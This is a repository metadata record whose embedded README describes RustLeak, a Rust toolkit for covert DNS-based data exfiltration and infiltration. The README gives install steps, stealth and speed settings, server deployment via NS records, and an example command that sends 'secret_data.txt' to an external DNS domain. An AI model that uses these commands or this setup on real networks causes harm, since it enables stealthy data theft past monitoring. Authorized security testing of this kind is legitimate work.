{"id":27065998,"url":"https://github.com/natounet/rustleak","last_synced_at":"2025-04-05T18:34:42.418Z","repository":{"id":272077564,"uuid":"915459578","full_name":"Natounet/RustLeak","owner":"Natounet","description":"A lightweight DNS-based data exfiltration and infiltration tool leveraging a custom DNS server, built with Rust","archived":false,"fork":false,"pushed_at":"2025-03-05T20:34:23.000Z","size":58,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-05T21:50:22.451Z","etag":null,"topics":["dns","exfiltration","infiltration","rust"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Natounet.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-01-11T22:31:04.000Z","updated_at":"2025-03-05T20:34:26.000Z","dependencies_parsed_at":"2025-01-11T23:28:48.264Z","dependency_job_id":"64c03cab-ae22-49a4-bf6a-83ad0fe6d5cd","html_url":"https://github.com/Natounet/RustLeak","commit_stats":null,"previous_names":["natounet/rustleak"],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Natounet%2FRustLeak","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Natounet%2FRustLeak/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Natounet%2FRustLeak/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Natounet%2FRustLeak/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Natounet","download_url":"https://codeload.github.com/Natounet/RustLeak/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247384910,"owners_count":20930554,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["dns","exfiltration","infiltration","rust"],"created_at":"2025-04-05T18:34:41.857Z","updated_at":"2025-04-05T18:34:42.405Z","avatar_url":"https://github.com/Natounet.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# **RustLeak**\n\n**RustLeak** is a DNS-based data exfiltration and infiltration toolkit, built with Rust. It can be used in a restricted environment. It aims in the future to be more stealth. It consists of two main components:\n\n- **`rustleak-server`**: The custom DNS server that processes data through DNS queries.\n- **`rustleak-client`**: The client tool to send or receive data using the server.\n\n---\n\n## **Important Notice**\n- You need to set up and host the DNS Server.\n- Update your DNS provider settings to redirect DNS traffic to your server.\n  \n\n---\n\n## **Features**\n- **Custom DNS Server**: Handles DNS zones and processes encoded data.\n- **Exfiltration and Infiltration**: Transmit or receive data using DNS queries and responses.\n- **Command-Line Interface (CLI)**: Simple commands for sending and receiving data.\n\n---\n\n## **How It Works**\n- **Exfiltration**: The client (`rustleak-client`) sends data embedded in DNS queries to the server (`rustleak-server`), which decodes and stores it.\n- **Infiltration**: The server responds with data embedded in DNS responses, and the client decodes the received data.\n\n---\n\n## **Possible Upgrades**\n- [x] **Record Type Rotation**: Upload request types vary between TXT, A, AAAA, and CNAME.\n- [x] **Multi-threading**: Allow the use of multi-threading to increase speed (at the cost of stealth).\n- [x] **Speed parameter**: Allow more control over the delay between request ( like nmap)\n- [ ] **Bypassing the local resolver** : Allow the client to take in arguments the IP of the dns server directly, bypassing the local resolver.\n- [ ] **Symmetric Encryption**: Encrypt data by providing a code for encryption when starting the program.\n- [ ] **Asymmetric Encryption**: Encrypt data automatically without requiring a code for encryption.\n- [ ] **Upload Speed Upgrade**: Transfer more labels in upload queries.\n- [ ] **Download Speed Upgrade**: Transfer more data per download query.\n\n---\n## **Speeds**\n\n### **Version v0.1.0**\n| Threads | Speed    | Upload Bandwidth | Download Bandwidth |\n|---------|----------|------------------|--------------------|\n| 4       | Default  | ~250 Bytes/s     | ~230 Bytes/s       |\n\n---\n\n### **Version v0.1.1**\nThe speed depends on the combination of the number of threads (`-t`) and the speed parameter (`--speed`). Below are the performance benchmarks:\n\n#### **Low Speed (`t0`)**\n| Threads | Upload Bandwidth | Download Bandwidth |\n|---------|------------------|--------------------|\n| 1       | 50 Bytes/s       | 50 Bytes/s         |\n| 10      | 500 Bytes/s      | 400 Bytes/s        |\n\n#### **High Speed (`t5`)**\n| Threads | Upload Bandwidth | Download Bandwidth |\n|---------|------------------|--------------------|\n| 1       | 500 Bytes/s      | 500 Bytes/s        |\n| 10      | 4.7 KB/s         | 3.2 KB/s           |\n\n---\n\n### **Notes**\n1. **Speed Parameter (`--speed`)**:\n   - `t0`: Super slow (maximum stealth).\n   - `t5`: Super fast (minimum stealth).\n\n2. **Threads (`-t`)**:\n   - Increasing the number of threads can significantly improve performance, but may reduce stealth.\n\n3. The bandwidth values are approximate and may vary depending on the network environment and server setup.\n\n---\n\n## **Installation**\n\n### Prerequisites\n- Rust (latest stable version)\n- Cargo (Rust package manager)\n\n### Clone the Repository\n```bash\ngit clone https://github.com/Natounet/RustLeak.git\ncd RustLeak\n```\n\n### Build the Tools\n```bash\ncargo build --release\n```\n\n---\n\n\n## **Usage**\n\n### **Client: \\`rustleak-client\\`**\nThe client provides commands to send or receive data via DNS queries. Below are the supported commands:\n- ` send | receive ` : The command to be executed\n- `--code`: A unique identifier for the data being sent.\n- `--filename`: Path to the file containing the data to be sent.\n- `--domain`: The domain name managed by the DNS server.\n- `[-t nb]`: Optionally specify the number of threads to use.\n- `[-s nb]`: Optinally specify the speed ( T0 slowest to T5 the fastest ) allowing to range between speed/stealth.\n\n#### **Send Data**\nUse the \\`Send\\` command to exfiltrate data:\n```bash\nrustleak-client send --code \u003cunique_code\u003e --filename \u003cfile_to_send\u003e --domain \u003cdns_server_domain\u003e [-t nb]  [-s nb] \n```\n\n**Example**:\n```bash\nrustleak-client send --code test123 --filename secret_data.txt --domain example.com\n```\n\n![upload](https://github.com/user-attachments/assets/cb1cfe8d-8ff6-4c0f-a24a-2f25a153ece6)\n\n\n\n#### **Receive Data**\nUse the `Receive` command to retrieve data:\n```bash\nrustleak-client receive --code \u003cunique_code\u003e --filename \u003coutput_file\u003e --domain \u003cdns_server_domain\u003e [-t nb]  [-s nb] \n```\n\n**Example**:\n```bash\nrustleak-client receive --code test123 --filename received_data.txt --domain example.com\n```\n\n![download](https://github.com/user-attachments/assets/bd13898f-bcdc-4ddf-8241-50bf65275ed4)\n\n\n---\n\n### **Server: \\`rustleak-server\\`**\nThe server handles DNS queries for a specific domain.\n\n#### **Start the Server**\nRun the server and specify the DNS zone to manage:\n```bash\nrustleak-server --domain \u003cdns_zone\u003e --port \u003cIP:PORT\u003e\n```\n\n**Options**:\n- `--domain`: The DNS zone to manage (e.g., \\`example.com\\`).\n- `--port`: The ip and port for the DNS server (default: 1053).\n\n**Example**:\n```bash\nrustleak-server --domain example.com --port IP:53\n```\n\n---\n\n## **Deployment**\n\nTo deploy `rustleak-server` online:\n1. Obtain a domain name (e.g., \\`example.com\\`) and configure its DNS records.\n2. Point your domain's **NS record** to the public IP of the machine running \\`rustleak-server\\`.\n3. Start the server with the appropriate domain.\n\n**DNS Configuration Example**:\n```plaintext\nexample.com.    IN NS   \u003cserver-public-ip\u003e\n```\n---\n\n## **License**\nThis project is licensed under the **MIT License**. See the [LICENSE](LICENSE) file for details.\n\n---\n\n## **Contributing**\nContributions are welcome! Feel free to submit issues or pull requests for bug fixes or new features.\n\n---\n\n## **Disclaimer**\nThis tool is intended for **educational purposes** and authorized security testing only. The developer is not responsible for any misuse of this tool.\n\n---\n\n## **Contact**\nFor any questions or feedback, please open an issue on the [GitHub repository](https://github.com/Natounet/RustLeak).\n\n---\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnatounet%2Frustleak","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fnatounet%2Frustleak","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnatounet%2Frustleak/lists"}